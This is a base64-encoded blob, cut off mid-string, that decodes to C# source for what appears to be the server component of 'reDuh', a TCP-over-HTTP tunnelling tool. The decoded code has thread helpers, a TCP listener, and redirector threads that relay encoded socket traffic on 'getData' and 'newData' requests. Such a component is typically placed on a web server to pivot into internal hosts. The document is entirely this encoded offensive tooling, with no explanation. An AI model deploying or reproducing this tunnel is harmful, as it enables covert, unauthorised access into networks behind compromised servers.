CQkJc2J5dGVBcnJheVtpbmRleF0gPSAoc2J5dGUpIGJ5dGVBcnJheVtpbmRleF07DQoJCX0NCgkJcmV0dXJuIHNieXRlQXJyYXk7DQoJfQ0KCXB1YmxpYyBzdGF0aWMgY2hhcltdIFRvQ2hhckFycmF5KHNieXRlW10gc0J5dGVBcnJheSkgDQoJew0KCQlyZXR1cm4gU3lzdGVtLlRleHQuVVRGOEVuY29kaW5nLlVURjguR2V0Q2hhcnMoVG9CeXRlQXJyYXkoc0J5dGVBcnJheSkpOw0KCX0NCglwdWJsaWMgc3RhdGljIGNoYXJbXSBUb0NoYXJBcnJheShieXRlW10gYnl0ZUFycmF5KSANCgl7DQoJCXJldHVybiBTeXN0ZW0uVGV4dC5VVEY4RW5jb2RpbmcuVVRGOC5HZXRDaGFycyhieXRlQXJyYXkpOw0KCX0NCglwdWJsaWMgc3RhdGljIEludDMyIFJlYWRJbnB1dChTdHJlYW0gc291cmNlU3RyZWFtLCBzYnl0ZVtdIHRhcmdldCwgaW50IHN0YXJ0LCBpbnQgY291bnQpDQoJew0KCQlpZiAodGFyZ2V0Lkxlbmd0aCA9PSAwKQ0KCQkJcmV0dXJuIDA7DQoJCWJ5dGVbXSByZWNlaXZlciA9IG5ldyBieXRlW3RhcmdldC5MZW5ndGhdOw0KCQlpbnQgYnl0ZXNSZWFkICAgPSBzb3VyY2VTdHJlYW0uUmVhZChyZWNlaXZlciwgc3RhcnQsIGNvdW50KTsNCgkJaWYgKGJ5dGVzUmVhZCA9PSAwKQkNCgkJCXJldHVybiAtMTsNCgkJZm9yKGludCBpID0gc3RhcnQ7IGkgPCBzdGFydCArIGJ5dGVzUmVhZDsgaSsrKQ0KCQkJdGFyZ2V0W2ldID0gKHNieXRlKXJlY2VpdmVyW2ldOw0KCQlyZXR1cm4gYnl0ZXNSZWFkOw0KCX0NCglwdWJsaWMgc3RhdGljIEludDMyIFJlYWRJbnB1dChUZXh0UmVhZGVyIHNvdXJjZVRleHRSZWFkZXIsIHNieXRlW10gdGFyZ2V0LCBpbnQgc3RhcnQsIGludCBjb3VudCkNCgl7DQoJCWlmICh0YXJnZXQuTGVuZ3RoID09IDApIHJldHVybiAwOw0KCQljaGFyW10gY2hhckFycmF5ID0gbmV3IGNoYXJbdGFyZ2V0Lkxlbmd0aF07DQoJCWludCBieXRlc1JlYWQgPSBzb3VyY2VUZXh0UmVhZGVyLlJlYWQoY2hhckFycmF5LCBzdGFydCwgY291bnQpOw0KCQlpZiAoYnl0ZXNSZWFkID09IDApIHJldHVybiAtMTsNCgkJZm9yKGludCBpbmRleD1zdGFydDsgaW5kZXg8c3RhcnQrYnl0ZXNSZWFkOyBpbmRleCsrKQ0KCQkJdGFyZ2V0W2luZGV4XSA9IChzYnl0ZSljaGFyQXJyYXlbaW5kZXhdOw0KCQlyZXR1cm4gYnl0ZXNSZWFkOw0KCX0NCglwdWJsaWMgY2xhc3MgVGhyZWFkQ2xhc3MgOiBJVGhyZWFkUnVubmFibGUNCgl7DQoJCXByaXZhdGUgVGhyZWFkIHRocmVhZEZpZWxkOw0KCQlwdWJsaWMgVGhyZWFkQ2xhc3MoKQ0KCQl7DQoJCQl0aHJlYWRGaWVsZCA9IG5ldyBUaHJlYWQobmV3IFRocmVhZFN0YXJ0KFJ1bikpOw0KCQl9DQoJCXB1YmxpYyBUaHJlYWRDbGFzcyhTdHJpbmcgTmFtZSkNCgkJew0KCQkJdGhyZWFkRmllbGQgPSBuZXcgVGhyZWFkKG5ldyBUaHJlYWRTdGFydChSdW4pKTsNCgkJCXRoaXMuTmFtZSA9IE5hbWU7DQoJCX0NCgkJcHVibGljIFRocmVhZENsYXNzKFRocmVhZFN0YXJ0IFN0YXJ0KQ0KCQl7DQoJCQl0aHJlYWRGaWVsZCA9IG5ldyBUaHJlYWQoU3RhcnQpOw0KCQl9DQoJCXB1YmxpYyBUaHJlYWRDbGFzcyhUaHJlYWRTdGFydCBTdGFydCwgU3RyaW5nIE5hbWUpDQoJCXsNCgkJCXRocmVhZEZpZWxkID0gbmV3IFRocmVhZChTdGFydCk7DQoJCQl0aGlzLk5hbWUgPSBOYW1lOw0KCQl9DQoJCXB1YmxpYyB2aXJ0dWFsIHZvaWQgUnVuKCkNCgkJew0KCQl9DQoJCXB1YmxpYyB2aXJ0dWFsIHZvaWQgU3RhcnQoKQ0KCQl7DQoJCQl0aHJlYWRGaWVsZC5TdGFydCgpOw0KCQl9DQoJCXB1YmxpYyB2aXJ0dWFsIHZvaWQgSW50ZXJydXB0KCkNCgkJew0KCQkJdGhyZWFkRmllbGQuSW50ZXJydXB0KCk7DQoJCX0NCgkJcHVibGljIFN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkIEluc3RhbmNlDQoJCXsNCgkJCWdldA0KCQkJew0KCQkJCXJldHVybiB0aHJlYWRGaWVsZDsNCgkJCX0NCgkJCXNldA0KCQkJew0KCQkJCXRocmVhZEZpZWxkID0gdmFsdWU7DQoJCQl9DQoJCX0NCgkJcHVibGljIFN5c3RlbS5TdHJpbmcgTmFtZQ0KCQl7DQoJCQlnZXQNCgkJCXsNCgkJCQlyZXR1cm4gdGhyZWFkRmllbGQuTmFtZTsNCgkJCX0NCgkJCXNldA0KCQkJew0KCQkJCWlmICh0aHJlYWRGaWVsZC5OYW1lID09IG51bGwpDQoJCQkJCXRocmVhZEZpZWxkLk5hbWUgPSB2YWx1ZTsgDQoJCQl9DQoJCX0NCgkJcHVibGljIFN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkUHJpb3JpdHkgUHJpb3JpdHkNCgkJew0KCQkJZ2V0DQoJCQl7DQoJCQkJcmV0dXJuIHRocmVhZEZpZWxkLlByaW9yaXR5Ow0KCQkJfQ0KCQkJc2V0DQoJCQl7DQoJCQkJdGhyZWFkRmllbGQuUHJpb3JpdHkgPSB2YWx1ZTsNCgkJCX0NCgkJfQ0KCQlwdWJsaWMgYm9vbCBJc0FsaXZlDQoJCXsNCgkJCWdldA0KCQkJew0KCQkJCXJldHVybiB0aHJlYWRGaWVsZC5Jc0FsaXZlOw0KCQkJfQ0KCQl9DQoJCXB1YmxpYyBib29sIElzQmFja2dyb3VuZA0KCQl7DQoJCQlnZXQNCgkJCXsNCgkJCQlyZXR1cm4gdGhyZWFkRmllbGQuSXNCYWNrZ3JvdW5kOw0KCQkJfSANCgkJCXNldA0KCQkJew0KCQkJCXRocmVhZEZpZWxkLklzQmFja2dyb3VuZCA9IHZhbHVlOw0KCQkJfQ0KCQl9DQoJCXB1YmxpYyB2b2lkIEpvaW4oKQ0KCQl7DQoJCQl0aHJlYWRGaWVsZC5Kb2luKCk7DQoJCX0NCgkJcHVibGljIHZvaWQgSm9pbihsb25nIE1pbGlTZWNvbmRzKQ0KCQl7DQoJCQkJdGhyZWFkRmllbGQuSm9pbihuZXcgVGltZVNwYW4oTWlsaVNlY29uZHMgKiAxMDAwMCkpOw0KCQl9DQoJCXB1YmxpYyB2b2lkIEpvaW4obG9uZyBNaWxpU2Vjb25kcywgaW50IE5hbm9TZWNvbmRzKQ0KCQl7DQoJCQkJdGhyZWFkRmllbGQuSm9pbihuZXcgU3lzdGVtLlRpbWVTcGFuKE1pbGlTZWNvbmRzICogMTAwMDAgKyBOYW5vU2Vjb25kcyAqIDEwMCkpOw0KCQl9DQoJCXB1YmxpYyB2b2lkIFJlc3VtZSgpDQoJCXsNCgkJCXRocmVhZEZpZWxkLlJlc3VtZSgpOw0KCQl9DQoJCXB1YmxpYyB2b2lkIEFib3J0KCkNCgkJew0KCQkJdGhyZWFkRmllbGQuQWJvcnQoKTsNCgkJfQ0KCQlwdWJsaWMgdm9pZCBBYm9ydChPYmplY3Qgc3RhdGVJbmZvKQ0KCQl7DQoJCQkJdGhyZWFkRmllbGQuQWJvcnQoc3RhdGVJbmZvKTsNCgkJfQ0KCQlwdWJsaWMgdm9pZCBTdXNwZW5kKCkNCgkJew0KCQkJdGhyZWFkRmllbGQuU3VzcGVuZCgpOw0KCQl9DQoJCXB1YmxpYyBvdmVycmlkZSBTdHJpbmcgVG9TdHJpbmcoKQ0KCQl7DQoJCQlyZXR1cm4gIlRocmVhZFsiICsgTmFtZSArICIsIiArIFByaW9yaXR5LlRvU3RyaW5nKCkgKyAiLCIgKyAiIiArICJdIjsNCgkJfQ0KCQlwdWJsaWMgc3RhdGljIFRocmVhZENsYXNzIEN1cnJlbnQoKQ0KCQl7DQoJCQlUaHJlYWRDbGFzcyBDdXJyZW50VGhyZWFkID0gbmV3IFRocmVhZENsYXNzKCk7DQoJCQlDdXJyZW50VGhyZWFkLkluc3RhbmNlID0gVGhyZWFkLkN1cnJlbnRUaHJlYWQ7DQoJCQlyZXR1cm4gQ3VycmVudFRocmVhZDsNCgkJfQ0KCX0NCn0NCg0KaW50ZXJuYWwgY2xhc3MgcmVEdWg6U3VwcG9ydENsYXNzLlRocmVhZENsYXNzDQp7DQoJdmlydHVhbCBpbnRlcm5hbCBpbnQgU2VydmljZVBvcnQNCgl7DQoJCWdldA0KCQl7DQoJCQl3aGlsZSAoIXNlcnZpY2VQb3J0Qm91bmQpDQoJCQl7DQoJCQl9DQoJCQlyZXR1cm4gc2VydmljZVBvcnQ7DQoJCX0NCgkJDQoJfQ0KCWludGVybmFsIFN5c3RlbS5OZXQuU29ja2V0cy5UY3BMaXN0ZW5lciBzcnYgPSBudWxsOw0KCWludGVybmFsIGJvb2wgcnVuU2VydmVyVGhyZWFkID0gdHJ1ZTsNCglpbnRlcm5hbCBib29sIHNlcnZpY2VQb3J0Qm91bmQgPSBmYWxzZTsNCglpbnRlcm5hbCByZWRpcmVjdG9yUHJvY2Vzc0NvbW0gclBDOw0KCWludGVybmFsIGludCBzZXJ2aWNlUG9ydCA9IC0gMTsNCglpbnRlcm5hbCBib29sIHNlYXJjaGluZ0ZvclBvcnQgPSB0cnVlOw0KCWludGVybmFsIFN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGUgY29ubmVjdGlvblBvb2wgPSBTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlLlN5bmNocm9uaXplZChuZXcgU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZSgpKTsNCglpbnRlcm5hbCBTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlIHNlcXVlbmNlTnVtYmVycyA9IFN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGUuU3luY2hyb25pemVkKG5ldyBTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlKCkpOw0KCXB1YmxpYyBRdWV1ZSBvdXRwdXRGcm9tU29ja2V0cyA9IG5ldyBRdWV1ZSgpOw0KCWludGVybmFsIGludCBkZWxheSA9IDEwMDsNCglpbnRlcm5hbCBjbGFzcyByZWRpcmVjdG9yR0Q6U3VwcG9ydENsYXNzLlRocmVhZENsYXNzDQoJew0KCQlwcml2YXRlIHZvaWQgIEluaXRCbG9jayhyZUR1aCBlbmNsb3NpbmdJbnN0YW5jZSkNCgkJew0KCQkJdGhpcy5lbmNsb3NpbmdJbnN0YW5jZSA9IGVuY2xvc2luZ0luc3RhbmNlOw0KCQl9DQoJCXByaXZhdGUgcmVEdWggZW5jbG9zaW5nSW5zdGFuY2U7DQoJCXB1YmxpYyByZUR1aCBFbmNsb3NpbmdfSW5zdGFuY2UNCgkJew0KCQkJZ2V0DQoJCQl7DQoJCQkJcmV0dXJuIGVuY2xvc2luZ0luc3RhbmNlOw0KCQkJfQ0KCQkJDQoJCX0NCgkJaW50ZXJuYWwgU3lzdGVtLlN0cmluZyB0YXJnZXQgPSBudWxsOw0KCQlpbnRlcm5hbCBpbnQgcG9ydCA9IC0gMTsNCgkJaW50ZXJuYWwgaW50IHNvY2tOdW0gPSAtIDE7DQoJCWludGVybmFsIFN5c3RlbS5JTy5TdHJlYW0gZnJvbUNsaWVudCA9IG51bGw7DQoJCWludGVybmFsIHJlZGlyZWN0b3JHRChyZUR1aCBlbmNsb3NpbmdJbnN0YW5jZSwgU3lzdGVtLlN0cmluZyBfdGd0LCBpbnQgX3BydCwgaW50IF9zb2NrTnVtLCBTeXN0ZW0uSU8uU3RyZWFtIF9mcm9tQ2xpZW50KQ0KCQl7DQoJCQlJbml0QmxvY2soZW5jbG9zaW5nSW5zdGFuY2UpOw0KCQkJdGFyZ2V0ID0gX3RndDsNCgkJCXBvcnQgPSBfcHJ0Ow0KCQkJc29ja051bSA9IF9zb2NrTnVtOw0KCQkJZnJvbUNsaWVudCA9IF9mcm9tQ2xpZW50Ow0KCQl9DQoJCW92ZXJyaWRlIHB1YmxpYyB2b2lkICBSdW4oKQ0KCQl7DQoJCQlpbnQgYnVmZmVyU2l6ZSA9IDgwMDA7DQoJCQlzYnl0ZVtdIGJ1ZmZlciA9IG5ldyBzYnl0ZVtidWZmZXJTaXplXTsNCgkJCWludCBudW1iZXJSZWFkID0gMDsNCgkJCWJvb2wgbW9yZURhdGEgPSB0cnVlOw0KCQkJdHJ5DQoJCQl7DQoJCQkJd2hpbGUgKG1vcmVEYXRhKQ0KCQkJCXsNCgkJCQkJbnVtYmVyUmVhZCA9IFN1cHBvcnRDbGFzcy5SZWFkSW5wdXQoZnJvbUNsaWVudCwgYnVmZmVyLCAwLCBidWZmZXJTaXplKTsNCgkJCQkJaWYgKG51bWJlclJlYWQgPCAwKQ0KCQkJCQl7DQoJCQkJCQlRdWV1ZSBxID0gbmV3IFF1ZXVlKCk7DQoJCQkJCQllbmNsb3NpbmdJbnN0YW5jZS5vdXRwdXRGcm9tU29ja2V0cy5FbnF1ZXVlKCJbZGF0YV0iICsgdGFyZ2V0ICsgIjoiICsgcG9ydCArICI6IiArIHNvY2tOdW0gKyAiOioiKTsNCgkJCQkJCW1vcmVEYXRhID0gZmFsc2U7DQoJCQkJCQllbmNsb3NpbmdJbnN0YW5jZS5jb25uZWN0aW9uUG9vbC5SZW1vdmUodGFyZ2V0ICsgIjoiICsgcG9ydCArICI6IiArIHNvY2tOdW0pOw0KCQkJCQl9DQoJCQkJCWVsc2UgaWYgKG51bWJlclJlYWQgPCBidWZmZXJTaXplKQ0KCQkJCQl7DQoJCQkJCQlzYnl0ZVtdIHRtcEJ1ZmZlciA9IG5ldyBzYnl0ZVtudW1iZXJSZWFkXTsNCgkJCQkJCWZvciAoaW50IGsgPSAwOyBrIDwgbnVtYmVyUmVhZDsgaysrKXRtcEJ1ZmZlcltrXSA9IGJ1ZmZlcltrXTsNCgkJCQkJCWVuY2xvc2luZ0luc3RhbmNlLm91dHB1dEZyb21Tb2NrZXRzLkVucXVldWUoIltkYXRhXSIgKyB0YXJnZXQgKyAiOiIgKyBwb3J0ICsgIjoiICsgc29ja051bSArICI6IiArIG5ldyBTeXN0ZW0uU3RyaW5nKFN1cHBvcnRDbGFzcy5Ub0NoYXJBcnJheShTdXBwb3J0Q2xhc3MuVG9CeXRlQXJyYXkoZW5jb2RlKHRtcEJ1ZmZlcikpKSkpOw0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJZW5jbG9zaW5nSW5zdGFuY2Uub3V0cHV0RnJvbVNvY2tldHMuRW5xdWV1ZSgiW2RhdGFdIiArIHRhcmdldCArICI6IiArIHBvcnQgKyAiOiIgKyBzb2NrTnVtICsgIjoiICsgbmV3IFN5c3RlbS5TdHJpbmcoU3VwcG9ydENsYXNzLlRvQ2hhckFycmF5KFN1cHBvcnRDbGFzcy5Ub0J5dGVBcnJheShlbmNvZGUoYnVmZmVyKSkpKSk7DQoJCQkJCX0NCgkJCQkJVGhyZWFkLlNsZWVwKDEwMDApOw0KCQkJCX0NCgkJCX0NCgkJCWNhdGNoDQoJCQl7DQoJCQl9DQoJCQlmaW5hbGx5DQoJCQl7DQoJCQkJZW5jbG9zaW5nSW5zdGFuY2Uub3V0cHV0RnJvbVNvY2tldHMuRW5xdWV1ZSgiW2RhdGFdIiArIHRhcmdldCArICI6IiArIHBvcnQgKyAiOiIgKyBzb2NrTnVtICsgIjoqIik7DQoJCQl9DQoJCX0NCgl9CQ0KCWludGVybmFsIGNsYXNzIHJlZGlyZWN0b3JTRDpTdXBwb3J0Q2xhc3MuVGhyZWFkQ2xhc3MNCgl7DQoJCXByaXZhdGUgdm9pZCAgSW5pdEJsb2NrKHJlRHVoIGVuY2xvc2luZ0luc3RhbmNlKQ0KCQl7DQoJCQl0aGlzLmVuY2xvc2luZ0luc3RhbmNlID0gZW5jbG9zaW5nSW5zdGFuY2U7DQoJCX0NCgkJcHJpdmF0ZSByZUR1aCBlbmNsb3NpbmdJbnN0YW5jZTsNCgkJcHVibGljIHJlRHVoIEVuY2xvc2luZ19JbnN0YW5jZQ0KCQl7DQoJCQlnZXQNCgkJCXsNCgkJCQlyZXR1cm4gZW5jbG9zaW5nSW5zdGFuY2U7DQoJCQl9DQoJCQkNCgkJfQ0KCQlpbnRlcm5hbCBTeXN0ZW0uU3RyaW5nIHRhcmdldCA9IG51bGw7DQoJCWludGVybmFsIGludCBwb3J0ID0gLSAxOw0KCQlpbnRlcm5hbCBpbnQgc29ja051bSA9IC0gMTsNCgkJaW50ZXJuYWwgU3lzdGVtLklPLlN0cmVhbSB0b0NsaWVudCA9IG51bGw7DQoJCWludGVybmFsIHJlZGlyZWN0b3JTRChyZUR1aCBlbmNsb3NpbmdJbnN0YW5jZSwgU3lzdGVtLlN0cmluZyBfdGd0LCBpbnQgX3BydCwgaW50IF9zb2NrTnVtLCBTeXN0ZW0uSU8uU3RyZWFtIF90b0NsaWVudCkNCgkJew0KCQkJSW5pdEJsb2NrKGVuY2xvc2luZ0luc3RhbmNlKTsNCgkJCXRhcmdldCA9IF90Z3Q7DQoJCQlwb3J0ID0gX3BydDsNCgkJCXNvY2tOdW0gPSBfc29ja051bTsNCgkJCXRvQ2xpZW50ID0gX3RvQ2xpZW50Ow0KCQl9DQoJCW92ZXJyaWRlIHB1YmxpYyB2b2lkICBSdW4oKQ0KCQl7DQoJCQlTeXN0ZW0uU3RyaW5nIGlucHV0ID0gbnVsbDsNCgkJCWJvb2wgZW5kT2ZUcmFuc21pc3Npb24gPSBmYWxzZTsNCgkJCXRyeQ0KCQkJew0KCQkJCXdoaWxlICghZW5kT2ZUcmFuc21pc3Npb24pDQoJCQkJew0KCQkJCQl3aGlsZSAoKChRdWV1ZSllbmNsb3NpbmdJbnN0YW5jZS5jb25uZWN0aW9uUG9vbFt0YXJnZXQuVG9TdHJpbmcoKSArICI6IiArIHBvcnQuVG9TdHJpbmcoKSArICI6IiArIHNvY2tOdW0uVG9TdHJpbmcoKV0pLkNvdW50ID4gMCkNCgkJCQkJew0KCQkJCQkJaW5wdXQgPSgoUXVldWUpIGVuY2xvc2luZ0luc3RhbmNlLmNvbm5lY3Rpb25Qb29sW3RhcmdldC5Ub1N0cmluZygpICsgIjoiICsgcG9ydC5Ub1N0cmluZygpICsgIjoiICsgc29ja051bS5Ub1N0cmluZygpXSkuRGVxdWV1ZSgpLlRvU3RyaW5nKCk7DQoJCQkJCQlTeXN0ZW0uU3RyaW5nIHNlcU51bSA9IGlucHV0LlN1YnN0cmluZygwLCAoaW5wdXQuSW5kZXhPZigiOiIpKSAtICgwKSk7DQoJCQkJCQlpbnB1dCA9IGlucHV0LlN1YnN0cmluZyhpbnB1dC5JbmRleE9mKCI6IikgKyAxKTsNCgkJCQkJCXNieXRlW10gdG1wID0gbnVsbDsNCgkJCQkJCWludCBieXRlc1JlYWRGcm9tSG9tZVBvcnQgPSAwOw0KCQkJCQkJaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbChpbnB1dCwgIioiKSAhPSAwKQ0KCQkJCQkJew0KCQkJCQkJCWlucHV0ID0gaW5wdXQuUmVwbGFjZSgnICcsICcrJyk7DQoJCQkJCQkJZm9yIChpbnQgayA9IDA7IGsgPCBpbnB1dC5MZW5ndGg7IGsgKz0gNCkNCgkJCQkJCQl7DQoJCQkJCQkJCVN5c3RlbS5TdHJpbmcgaW5wdXRDaHVuayA9IGlucHV0LlN1YnN0cmluZyhrLCAoayArIDQpIC0gKGspKTsNCgkJCQkJCQkJdG1wID0gZGVjb2RlKFN1cHBvcnRDbGFzcy5Ub1NCeXRlQXJyYXkoU3VwcG9ydENsYXNzLlRvQnl0ZUFycmF5KGlucHV0Q2h1bmspKSk7DQoJCQkJCQkJCWJ5dGVzUmVhZEZyb21Ib21lUG9ydCArPSB0bXAuTGVuZ3RoOw0KCQkJCQkJCQlzYnl0ZVtdIHRlbXBfc2J5dGVBcnJheTsNCgkJCQkJCQkJdGVtcF9zYnl0ZUFycmF5ID0gdG1wOw0KCQkJCQkJCQl0b0NsaWVudC5Xcml0ZShTdXBwb3J0Q2xhc3MuVG9CeXRlQXJyYXkodGVtcF9zYnl0ZUFycmF5KSwgMCwgdGVtcF9zYnl0ZUFycmF5Lkxlbmd0aCk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJZWxzZQ0KCQkJCQkJew0KCQkJCQkJCWVuZE9mVHJhbnNtaXNzaW9uID0gdHJ1ZTsNCgkJCQkJCQllbmNsb3NpbmdJbnN0YW5jZS5jb25uZWN0aW9uUG9vbC5SZW1vdmUodGFyZ2V0ICsgIjoiICsgcG9ydCArICI6IiArIHNvY2tOdW0pOw0KCQkJCQkJCWVuY2xvc2luZ0luc3RhbmNlLnNlcXVlbmNlTnVtYmVycy5SZW1vdmUodGFyZ2V0ICsgIjoiICsgcG9ydCArICI6IiArIHNvY2tOdW0pOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCVRocmVhZC5TbGVlcCgxMDAwKTsNCgkJCQl9DQoJCQl9DQoJCQljYXRjaCB7IH0NCgkJfQ0KCX0NCglpbnRlcm5hbCBjbGFzcyBjb25uSGFuZGxlcjpTdXBwb3J0Q2xhc3MuVGhyZWFkQ2xhc3MNCgl7DQoJCXByaXZhdGUgdm9pZCAgSW5pdEJsb2NrKHJlRHVoIGVuY2xvc2luZ0luc3RhbmNlKQ0KCQl7DQoJCQl0aGlzLmVuY2xvc2luZ0luc3RhbmNlID0gZW5jbG9zaW5nSW5zdGFuY2U7DQoJCX0NCgkJcHJpdmF0ZSByZUR1aCBlbmNsb3NpbmdJbnN0YW5jZTsNCgkJcHVibGljIHJlRHVoIEVuY2xvc2luZ19JbnN0YW5jZQ0KCQl7DQoJCQlnZXQNCgkJCXsNCgkJCQlyZXR1cm4gZW5jbG9zaW5nSW5zdGFuY2U7DQoJCQl9DQoJCQkNCgkJfQ0KCQlpbnRlcm5hbCBTeXN0ZW0uTmV0LlNvY2tldHMuVGNwQ2xpZW50IHNvY2sgPSBudWxsOw0KCQlpbnRlcm5hbCBTeXN0ZW0uSU8uU3RyZWFtV3JpdGVyIHJ3UCA9IG51bGw7DQoJCWludGVybmFsIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXIgcmRQID0gbnVsbDsNCgkJaW50ZXJuYWwgU3lzdGVtLlN0cmluZyByZXEgPSBudWxsOw0KCQlpbnRlcm5hbCBTeXN0ZW0uU3RyaW5nIGRhdGEgPSBudWxsOw0KCQlpbnRlcm5hbCBjb25uSGFuZGxlcihyZUR1aCBlbmNsb3NpbmdJbnN0YW5jZSwgU3lzdGVtLk5ldC5Tb2NrZXRzLlRjcENsaWVudCBjb25uKQ0KCQl7DQoJCQlJbml0QmxvY2soZW5jbG9zaW5nSW5zdGFuY2UpOw0KCQkJc29jayA9IGNvbm47DQoJCX0NCgkJb3ZlcnJpZGUgcHVibGljIHZvaWQgIFJ1bigpDQoJCXsNCgkJCVN5c3RlbS5TdHJpbmcgdGFnID0gbnVsbDsNCgkJCXRyeQ0KCQkJew0KCQkJCVN5c3RlbS5JTy5TdHJlYW1Xcml0ZXIgdGVtcF93cml0ZXI7DQoJCQkJTmV0d29ya1N0cmVhbSBteU5ldHdvcmtTdHJlYW0gPSBzb2NrLkdldFN0cmVhbSgpOw0KCQkJCXJ3UCA9IG5ldyBTeXN0ZW0uSU8uU3RyZWFtV3JpdGVyKG15TmV0d29ya1N0cmVhbSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdCk7DQoJCQkJcndQLkF1dG9GbHVzaCA9IHRydWU7DQoJCQkJcmRQID0gbmV3IFN5c3RlbS5JTy5TdHJlYW1SZWFkZXIobXlOZXR3b3JrU3RyZWFtLCBTeXN0ZW0uVGV4dC5FbmNvZGluZy5EZWZhdWx0KTsNCgkJCQl3aGlsZSAoKHJlcSA9IHJkUC5SZWFkTGluZSgpKSAhPSBudWxsKQ0KCQkJCXsNCgkJCQkJdGFnID0gcmVxLlN1YnN0cmluZyhyZXEuSW5kZXhPZigiWyIpICsgMSwgKHJlcS5JbmRleE9mKCJdIikpIC0gKHJlcS5JbmRleE9mKCJbIikgKyAxKSk7DQoJCQkJCWlmIChTdHJpbmcuQ29tcGFyZU9yZGluYWwodGFnLCAiZ2V0RGF0YSIpID09IDApDQoJCQkJCXsNCgkJCQkJCWlmICggZW5jbG9zaW5nSW5zdGFuY2Uub3V0cHV0RnJvbVNvY2tldHMuQ291bnQgPiAwKQ0KCQkJCQkJew0KCQkJCQkJCWRhdGEgPSBlbmNsb3NpbmdJbnN0YW5jZS5vdXRwdXRGcm9tU29ja2V0cy5EZXF1ZXVlKCkuVG9TdHJpbmcoKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQlkYXRhID0gIltOT19ORVdfREFUQV0iOw0KCQkJCQkJfQ0KCQkJCQkJcndQLldyaXRlTGluZShkYXRhICsgIlxyXG4iKTsNCgkJCQkJfQ0KCQkJCQlpZiAoU3RyaW5nLkNvbXBhcmVPcmRpbmFsKHRhZywgIlBvcnQiKSA9PSAwKQ0KCQkJCQl7DQoJCQkJCQllbmNsb3NpbmdJbnN0YW5jZS5vdXRwdXRGcm9tU29ja2V0cy5FbnF1ZXVlKCJbUG9ydF0iICsgZW5jbG9zaW5nSW5zdGFuY2Uuc2VydmljZVBvcnQpOw0KCQkJCQl9DQoJCQkJCWVsc2UgaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbCh0YWcsICJuZXdEYXRhIikgPT0gMCkNCgkJCQkJew0KCQkJCQkJU3lzdGVtLlN0cmluZ1tdIHRva2VucyA9IChyZXEuU3Vic3RyaW5nKChyZXEuSW5kZXhPZigiXSIpICsgMSkpKS5TcGxpdCgnOicpOw0KCQkJCQkJU3lzdGVtLlN0cmluZyB0Z3QgPSB0b2tlbnNbMF07DQoJCQkJCQlTeXN0ZW0uU3RyaW5nIHBydCA9IHRva2Vuc1sxXTsNCgkJCQkJCVN5c3RlbS5TdHJpbmcgc29ja051bSA9IHRva2Vuc1syXTsNCgkJCQkJCVN5c3RlbS5JbnQzMiBzZXFOdW0gPSBTeXN0ZW0uSW50MzIuUGFyc2UodG9rZW5zWzNdKTsNCgkJCQkJCVN5c3RlbS5TdHJpbmcgZGF0YSA9IHRva2Vuc1s0XTsNCgkJCQkJCWlmIChlbmNsb3NpbmdJbnN0YW5jZS5jb25uZWN0aW9uUG9vbC5Db250YWluc0tleSh0Z3QgKyAiOiIgKyBwcnQgKyAiOiIgKyBzb2NrTnVtKSkNCgkJCQkJCXsNCgkJCQkJCQlpZiggKChTdGFjaykgZW5jbG9zaW5nSW5zdGFuY2Uuc2VxdWVuY2VOdW1iZXJzW3RndC5Ub1N0cmluZygpICsgIjoiICsgcHJ0LlRvU3RyaW5nKCkgKyAiOiIgKyBzb2NrTnVtLlRvU3RyaW5nKCldKS5Db3VudCA9PSAwKQ0KCQkJCQkJCXsNCgkJCQkJCQkJKChTdGFjaykgZW5jbG9zaW5nSW5zdGFuY2Uuc2VxdWVuY2VOdW1iZXJzW3RndC5Ub1N0cmluZygpICsgIjoiICsgcHJ0LlRvU3RyaW5nKCkgKyAiOiIgKyBzb2NrTnVtLlRvU3RyaW5nKCldKS5QdXNoKHNlcU51bSk7DQoJCQkJCQkJCSgoUXVldWUpIGVuY2xvc2luZ0luc3RhbmNlLmNvbm5lY3Rpb25Qb29sW3RndC5Ub1N0cmluZygpICsgIjoiICsgcHJ0LlRvU3RyaW5nKCkgKyAiOiIgKyBzb2NrTnVtLlRvU3RyaW5nKCldKS5FbnF1ZXVlKHNlcU51bS5Ub1N0cmluZygpICsgIjoiICsgZGF0YS5Ub1N0cmluZygpKTsNCgkJCQkJCQl9DQoJCQkJCQkJZWxzZQ0KCQkJCQkJCXsNCgkJCQkJCQkJaW50IHByZXZTZXFOdW0gPSBTeXN0ZW0uQ29udmVydC5Ub0ludDMyKCgoKFN0YWNrKSBlbmNsb3NpbmdJbnN0YW5jZS5zZXF1ZW5jZU51bWJlcnNbdGd0LlRvU3RyaW5nKCkgKyAiOiIgKyBwcnQuVG9TdHJpbmcoKSArICI6IiArIHNvY2tOdW0uVG9TdHJpbmcoKV0pLlBlZWsoKSkuVG9TdHJpbmcoKSk7DQoJCQkJCQkJCWlmIChwcmV2U2VxTnVtICE9IChzZXFOdW0gLSAxKSkNCgkJCQkJCQkJew0KCQkJCQkJCQkJd2hpbGUgKHByZXZTZXFOdW0gIT0gKHNlcU51bSAtIDEpKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCXRyeQ0KCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJVGhyZWFkLlNsZWVwKDIwMDApOw0KCQkJCQkJCQkJCQlwcmV2U2VxTnVtID0gU3lzdGVtLkNvbnZlcnQuVG9JbnQzMigoKChTdGFjaykgZW5jbG9zaW5nSW5zdGFuY2Uuc2VxdWVuY2VOdW1iZXJzW3RndC5Ub1N0cmluZygpICsgIjoiICsgcHJ0LlRvU3RyaW5nKCkgKyAiOiIgKyBzb2NrTnVtLlRvU3R